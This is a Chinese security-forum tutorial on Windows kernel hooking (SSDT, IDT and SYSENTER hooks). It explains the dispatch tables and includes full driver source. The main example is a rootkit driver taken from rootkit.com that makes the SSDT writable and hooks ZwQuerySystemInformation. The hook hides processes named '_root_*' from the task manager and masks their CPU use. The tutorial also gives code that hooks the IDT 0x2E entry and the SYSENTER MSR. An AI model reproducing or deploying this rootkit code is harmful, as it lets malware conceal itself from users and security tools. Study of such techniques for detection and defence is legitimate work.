文章标题】: 必备绝技——hook大法( 中 )
【文章作者】: LvG
【作者邮箱】: LvG2008@gmail.com
【作者声明】: 只是感兴趣，没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
这次主要说说核心层的hook。包括SSDT-hook，IDT-hook，sysenter-hook。欢迎讨论，指正！内核层需要驱动，有这方面的基础最好，如果不会，了解下其中的思路也可以的。
II. SSDT-hook,IDT-hook，sysenter-hook
一.SSDT-hook
(一)一般思路:
1.先来了解一下,什么是SSDT
SSDT既System Service Dispath Table。在了解他之前，我们先了解一下NT的基本组建。在 Windows NT 下，NT 的 executive（NTOSKRNL.EXE 的一部分）提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务，但由于子系统不同，API 函数的函数名也不同。例如，要用Win32 API 打开一个文件，应用程序会调用
CreateFile()，而要用 POSIX API，则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。
系统组建.jpg
用户模式（User mode）的所有调用，如Kernel32,User32.dll, Advapi32.dll等提供的API，最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式，通过服务ID,在System Service Dispatcher Table中分派系统函数，举个具体的例子，再如下图
调用过程.jpg
从上可知，SSDT就是一个表，这个表中有内核调用的函数地址。从上图可见，当用户层调用FindNextFile函数时，最终会调用内核层的NtQueryDirectoryFile函数，而这个函数的地址就在SSDT表中，如果我们事先把这个地址改成我们特定函数的地址，那么，哈哈。。。。。。。下来详细了解一下，SSDT的结构，如下图：
SSDT.jpg
KeServiceDescriptorTable：是由内核（Ntoskrnl.exe）导出的一个表，这个表是访问SSDT的关键，具体结构是
typedef struct ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOID ServiceCounterTable(0);
unsigned int NumberOfServices;
PVOID ParamTableBase;
}
其中，
ServiceTableBase System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服务的数目。
ServiceCounterTable 此域用于操作系统的 checked builds，包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
ParamTableBase 包含每个系统服务参数字节数表的基地址。
System Service Dispath Table（SSDT）：系统服务分发表，给出了服务函数的地址，每个地址4子节长。
System Service Parameter Table(SSPT)：系统服务参数表，定义了对应函数的参数字节，每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
还有一种这样的表，叫KeServiceDescriptorTableShadow，它主要包含GDI服务，也就是我们常用的和窗口，桌面有关的，具体存在于Win32k.sys。在如图：
服务分发.jpg
右侧的服务分发就通过KeServiceDescriptorTableShadow。
那么下来该咋办呢？下来就是去改变SSDT所指向的函数，使之指向我们自己的函数。
2．Hook前的准备-改变SSDT内存的保护
系统对SSDT都是只读的，不能写。如果试图去写，等你的就是蓝脸。一般可以修改内存属性的方法有：通过cr0寄存器及Memory Descriptor List(MDL)。
（1）改变CR0寄存器的第1位
Windows对内存的分配，是采用的分页管理。其中有个CR0寄存器，如下图：
CR0.jpg
其中第1位叫做保护属性位，控制着页的读或写属性。如果为1，则可以读/写/执行；如果为0，则只可以读/执行。SSDT，IDT的页属性在默认下都是只读，可执行的，但不能写。所以现在要把这一位设置成1。
（2）通过Memory Descriptor List(MDL)
也就是把原来SSDT的区域映射到我们自己的MDL区域中，并把这个区域设置成可写。MDL的结构：
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags; //关键在这里，将来设置成MDL_MAPPED_TO_SYSTEM_VA ，这样一来，这块区域就可写
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
首先需要知道KeServiceDscriptorTable的基址和入口数，这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成
MDL_MAPPED_TO_SYSTEM_VA ，那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下：
//先声明一个System Service Descriptor Table，我们知道SSDT及SSPT都从这个表中指向
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
/
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// 代码
// 保存原系统调用位置
// 映射我们的区域
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的flags
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
//在内存中索定，不让换出
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
现在遇到的第一个问题解决了，但接着面临另外一个问题，如何获得SSDT中函数的地址呢？
3．四个有用的宏
SYSTEMSERVICE macro：可以获得由ntoskrnl.exe导出函数,以Zw*开头函数的地址，这个函数的返回值就是Nt*函数，Nt*函数的地址就在SSDT中
SYSCALL_INDEX macro：获得Zw*函数的地址并返回与之通信的函数在SSDT中的索引。
这两个宏之所以能工作，是因为所有的Zw*函数都开始于opcode：MOV eax, ULONG，这里的ULONG就是系统调用函数在SSDT中的索引。
HOOK_SYSCALL和UNHOOK_SYSCALL macros：获得Zw*函数的地址，取得他的索引，自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
这四个宏具体是：
#define SYSTEMSERVICE(_func) \
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) \
InterlockedExchange((PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
4．小试牛刀：利用SSDT Hook隐藏进程
我们所熟知的任务管理器，能察看系统中的所有进程及其他很多信息，这是由于调用了一个叫ZwQuerySystemInformation的内核函数，具体结构是：
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass, //如果这值是5，则代表系统中所有进程信息
IN PVOID SystemInformation, //这就是最终列举出的信息，和上面的值有关
IN ULONG SystemInformationLength, //后两个不重要
OUT PULONG ReturnLength)
如果用我们自己函数，这个函数可以把我们关心的进程过滤掉，再把它与原函数调换，则可达到隐藏的目的，大体思路如下：
（1） 突破SSDT的内存保护，如上所用的MDL方法
（2） 实现自己的NewZwQuerySystemInformation函数，过滤掉以某些字符开头的进程
（3） 用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数
（4） 卸载New*函数，完成
具体实例：来自Rootkit.com，我做了注释，代码也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//声明各种结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
//我们的hook函数，过滤掉以"_root_"开头的进程
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// 列举系统进程链表
// 寻找以"_root_"开头的进程
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // Idle process入口
{
// 把_root_进程的时间加给Idle进程，Idle称空闲时间
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// 重设时间，为下一次过滤
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // 列举系统进程时间
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload called\n");
// 卸载hook
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
// 解索并释放MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
// 注册一个卸载的分发函数，与与应用层沟通
theDriverObject->DriverUnload = OnUnload;
// 初始化全局时间为零
// 这将会解决时间问题，如果不这样，尽管隐藏了进程，但时间的消耗会不变，cpu 100%
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
// 储存旧的函数地址
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
// 把SSDT隐射到我们的区域，以便修改它为可写属性
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的Flags属性为可写，既然可写当然可读，可执行
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
// 用了宏，把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步，先突破了SSDT的保护，接着用宏更改了目标函数，下来就剩下具体的过滤任务了
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
return STATUS_SUCCESS;
}
二．IDT hook
（一）基本思路：IDT(Interrupt Descriptor Table)中断描述符表，是用来处理中断的。中断就是停下现在的活动，去完成新的任务。一个中断可以起源于软件或硬件。比如，出现页错误，调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时，调用IDT中的0x2E。而系统服务的调用是经常的，这个中断就能触发。我们现在就想办法，先在系统中找到IDT，然后确定0x2E在IDT中的地址，最后用我们的函数地址去取代它，这样以来，用户的进程（可以特定设置）一调用系统服务，我们的hook函数即被激发。
（二）需解决的问题：从上面分析可以看出，我们大概需要解决这几个问题：
1．IDT如何获取呢？SIDT指令可以办到，它可以在内存中找到IDT，返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一起，我们可以用一个宏。IDTINFO，和宏的结构如下：
typedef struct
{
WORD IDTLimit;
WORD LowIDTbase; //IDT的低半地址
WORD HiIDTbase; //IDT的高半地址
} IDTINFO;
方便获取地址存取的宏
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
2．IDT有最多256个入口，我们现在要的是其中的0x2E，这个中断号的入口地址如何获取呢？
#pragma pack(1)
typedef struct
{
WORD LowOffset; //入口的低半地址
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; // stored TYPE ?
unsigned char DPL:2;
unsigned char P:1; // vector is present
WORD HiOffset; //入口地址的低半地址
} IDTENTRY;
#pragma pack()
知道了这个入口结构,就相当于知道了每间房（可以把IDT看作是一排有256间房组成的线性结构）的长度，我们先获取所有的入口idt_entrys，那么第0x2E个房间的地址也就可以确定了，即idt_entrys[0x2E]。
3．如果得到了0x2e的地址，如何用我们的hook地址改写原中断地址呢？ 见以下核心代码：
DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄，保存以便恢复hook
#define NT_SYSTEM_SERVICE_INT 0x2e
//我们的hook函数
int HookInterrupts()
{
IDTINFO idt_info; //SIDT将返回的结构
IDTENTRY* idt_entries; //IDT的所有入口
IDTENTRY* int2e_entry; //我们目标的入口
__asm{
sidt idt_info; //获取IDTINFO
}
//获取所有的入口
idt_entries =
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
//保存真实的2e地址
KiRealSystemServiceISR_Ptr =
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
//获取0x2E的入口地址
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli; // 屏蔽中断，防止被打扰
lea eax,MyKiSystemService; // 获得我们hook函数的地址，保存在eax
mov ebx, int2e_entry; // 0x2E在IDT中的地址，ebx中分地高两个半地址
mov [ebx],ax; // 把我们hook函数的地半地址写入真是第半地址
shr eax,16 //eax右移16，得到高半地址
mov [ebx+6],ax; // 写入高半地址
sti; //开中断
}
return 0;
}
具体代码见：www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
（三）注意点：
1.每个处理器都有个IDT,所以对于多CPU一定要注意，所有的IDT都要hook。
2．在winxp,win2k3,vsta下失效。
三．SYSENTRY hook
为了性能的考虑，xp后的系统都改用sysentry命令来进入ring0，去调用SSDT中的服务，不再是通过IDT中的 int 2E。这也使得我们hook也变得相对容易了。
首先获得sysentry的地址，然后改之，不用再考虑IDT了。见下面的代码：
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called\n");
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
__asm {
jmp [d_origKiFastCallEntry] //这啥都没做，换成你想干的
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
__asm {
mov ecx, 0x176
rdmsr // 读IA3_SYSENTER_EIP寄存器值，存有sysenter的地址
mov d_origKiFastCallEntry, eax //保存原值，以便恢复
mov eax, MyKiFastCallEntry // hook函数地址
wrmsr // 将hook函数移入IA32_SYSENTER_EIP寄存器
}
return STATUS_SUCCESS;
}
基本的改变数据结构的hook就说到这里，当然还有DKOM这种高级的技术，有兴趣的自己去看看吧。
by LvG（吕歌）
参考文献：<<Rootkits: Subverting the Windows Kernel >> rootkit.com
<<widows internels>> <<Undocumented NT>>
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 一蓑烟雨，转载请注明作者并保持文章的完整, 谢谢!